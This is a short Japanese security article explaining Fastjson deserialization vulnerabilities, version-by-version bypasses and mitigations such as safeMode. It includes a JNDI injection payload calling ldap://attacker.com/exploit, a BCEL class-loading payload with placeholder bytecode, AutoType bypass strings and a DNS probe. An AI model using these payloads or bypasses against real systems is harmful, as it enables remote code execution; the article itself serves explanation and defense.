Fastjsonのデシリアライゼーション脆弱性とその対策

Fastjsonのデシリアライゼーション機構

FastjsonはAlibabaが開発した高性能なJSON処理ライブラリで、JavaオブジェクトとJSON文字列間の相互変換をサポートしています。

基本的な動作原理

public class BasicExample {
    public static void main(String[] args) {
        String jsonStr = "{\"@type\":\"com.example.User\",\"username\":\"test\",\"age\":25}";
        Object obj = JSON.parseObject(jsonStr);
        System.out.println(obj);
    }
}

@type属性で指定されたクラスをインスタンス化し、JSONデータをオブジェクトにマッピングします。この処理は内部的にリフレクションを利用しています。

脆弱性の発生ポイント

主要な攻撃ベクトルとなるポイント:

  • 任意クラスのインスタンス化
  • Setterメソッドの自動呼び出し
  • キャッシュ機構の悪用

代表的な攻撃手法

JdbcRowSetImplを利用したJNDIインジェクション

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                 "\"dataSourceName\":\"ldap://attacker.com/exploit\"," +
                 "\"autoCommit\":true}";
JSON.parseObject(payload);

BasicDataSourceを利用したBCELクラスローディング

String maliciousCode = "$$BCEL$$...encodedBytecode...";
String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
                 "\"driverClassName\":\"" + maliciousCode + "\"," +
                 "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(payload);

バージョン別の対策と回避手法

バージョン 主な対策 回避手法
1.2.24以前 制限なし 直接攻撃可能
1.2.25-1.2.41 AutoTypeチェック導入 Lcom.sun.rowset.JdbcRowSetImpl;形式
1.2.42 L;形式のチェック強化 LLcom.sun.rowset.JdbcRowSetImpl;;形式
1.2.47 キャッシュ機構の修正 クラスキャッシュの悪用

最新バージョンでの対策

Fastjson 1.2.68以降では以下の対策が実施されています:

  • safeModeの導入
  • AutoCloseableなどの危険なインターフェースのブロック
  • より厳格なクラスローディングチェック

安全な設定例

ParserConfig config = new ParserConfig();
config.setSafeMode(true);  // 安全モードを有効化
JSON.parseObject(jsonStr, Object.class, config);

検出と防御

Fastjsonの脆弱性を検出する方法:

// DNSログを使用したバージョン検出
String probe = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"detect.example.com\"}";
try {
    JSON.parseObject(probe);
} catch (Exception e) {
    // 例外処理
}

効果的な防御策:

  • 常に最新バージョンを使用
  • safeModeの有効化
  • 信頼できないソースからのJSONデータを処理しない
  • 厳格な入力検証の実施

タグ: fastjson Java デシリアライゼーション セキュリティ JNDI

6月13日 23:50 投稿